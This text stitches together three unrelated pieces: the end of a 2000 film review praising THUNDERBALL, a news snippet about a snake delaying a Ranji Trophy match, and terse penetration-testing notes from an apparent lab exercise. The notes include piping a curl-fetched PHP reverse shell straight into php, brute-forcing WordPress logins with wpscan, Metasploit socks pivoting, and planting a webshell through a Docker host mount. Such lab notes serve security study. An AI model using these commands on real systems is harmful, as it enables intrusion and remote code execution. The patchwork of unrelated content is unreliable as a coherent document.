Bond girls, another important element of the formula, are here represented with three ladies that would satisfy all the different tastes, at least when the hair colour is an issue. Bond's partner Domino, which represents brunettes, is played by former Miss France Claudine Auger. Although stunningly beautiful, Domino lack depth in character and Auger's romantic scenes with Connery lack the right amount of chemistry. Molly Peters, girl representing blondes, has smaller but more effective role of Bond's nurse. Both of them fall in the shadow of Luciana Paluzzi, Italian actress that represents redheads. Physically attractive, yet immoral, ready to use her body for nefarious purposes as well as kill in cold blood, Fiona Volpe could be viewed not just like femme fatale but also as some kind of Bond's opposite. To make her character even more rounded, Fiona Volpe is given some lines that could be interpreted as screenwriters' answer to feminist accusations over sexist stereotypes used while creating character of Pussy Galore in GOLDFINGER.
The lack of dimension within film's character is hard to notice, because the main attraction of the film lies in action. Terence Young, who had directed first two Bond films, does his job more than capably and we hardly notice that the film lasts more than two hours. The action scenes are perfect, especially the Vulcan hijacking - one of the best moments in the history of Bond series. Another interesting thing about THUNDERBALL is extensive use of underwater photography; this film is the first to feature underwater battle scene that would later become one of trademarks of Bond franchise. The same scene is often criticised for being too long, but it also provided something quite new and spectacular for 1960s audiences. Today's viewers are perhaps less patient, and less able to overlook obvious gratituitousness of certain scenes (like Bond using jetpack and thus ruining quite effective opening scene), but they remain attractive and they don't hinder the plot (which is not going to be the case in future instalments). THUNDERBALL is also helped with the creative talents of composer John Barry who provides new, original material. The film also feature very goo title song by Tom Jones, combined with first true Bond-style opening titles.
THUNDERBALL is not the perfect Bond film, but it still represents the series in its zenith and provides excellent entertainment even after more than three decades. There is one flaw, though. True fan of classic Bond could hardly watch this film without some sadness, knowing that the each consecutive instalment is going to be worse than before.
RATING: 8/10 (+++)
Review written on April 8th 2000
Dragan Antulov a.k.a. Drax Fido: 2:381/100 E-mail<EMAIL_ADDRESS>E-mail<EMAIL_ADDRESS>E-mail<EMAIL_ADDRESS>Filmske recenzije na hrvatskom/Movie Reviews in Croatian http://film.purger.com
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The official Twitter handle of BCCI Domestic posted a video in which the snake can be seen gliding on the field while seven to eight groundsmen trying to ensure that it slithers away.
by PTIIn a bizarre incident, the start of a Ranji Trophy match between Vidarbha and Andhra on Monday was delayed by a few minutes after a snake entered the ground here.
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WPScan
JoomaVS
Error based SQLi, tough to do manually. Better to do with a script, whether custom or SQLMap...
less -S to disable wordwrapping, nifty
using wpscan to brute wp-login
Curl and pipe shell directly to binary (ie curl php_rev_shell | php)
ip neigh #replaces the arp command
exploit -j #auto move job to background
check your working directories for noexec if you get a permission denied when executing binaries on linux
MSF usr auxiliary/server/socks4a
SRVHOST <IP_ADDRESS>
SRVPOR 1080
run
MSF add route
route add <RHOST> <session_id>
ensure /etc/proxychains.conf is setup to use sock4a
<IP_ADDRESS> 1080
another option in this case would be to use a reverse SSH connection, or even possibly a reverse dynamic ssh connection from Enterprise to attacker machine. This way you wouldn't need MSF.
mysql:
describe <table>; #will just print schema out
Can exploit joomla much in the same way as wordpress. Attempt to edit templates and throw up some nice php code.
Interesting pivoting
Docker containers were mounting a directory on the actual host in the web directory. Exploiting the docker container and placing a webshell in the mount, allowed the host to serv up a shell and gain access to the underlying OS.
There is a benefit to analyzing binaries with both strace and ltrace before decompiling.
Ret2LibC template in useful artifacts and in the buffer overflow section
Editing files without nano/vim
$ cat - > test.txt
typing
typing
Ctrl + C
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Extra Content
SQL error-based automation and SQLMap proxy
wp-settings.php
wp_magic_quotes(); #this will alter the way data is passed to the applications (escaping or otherwise)
sqlmap has a --proxy=http://<IP_ADDRESS>:8080 flag that you can send to BURP or another tool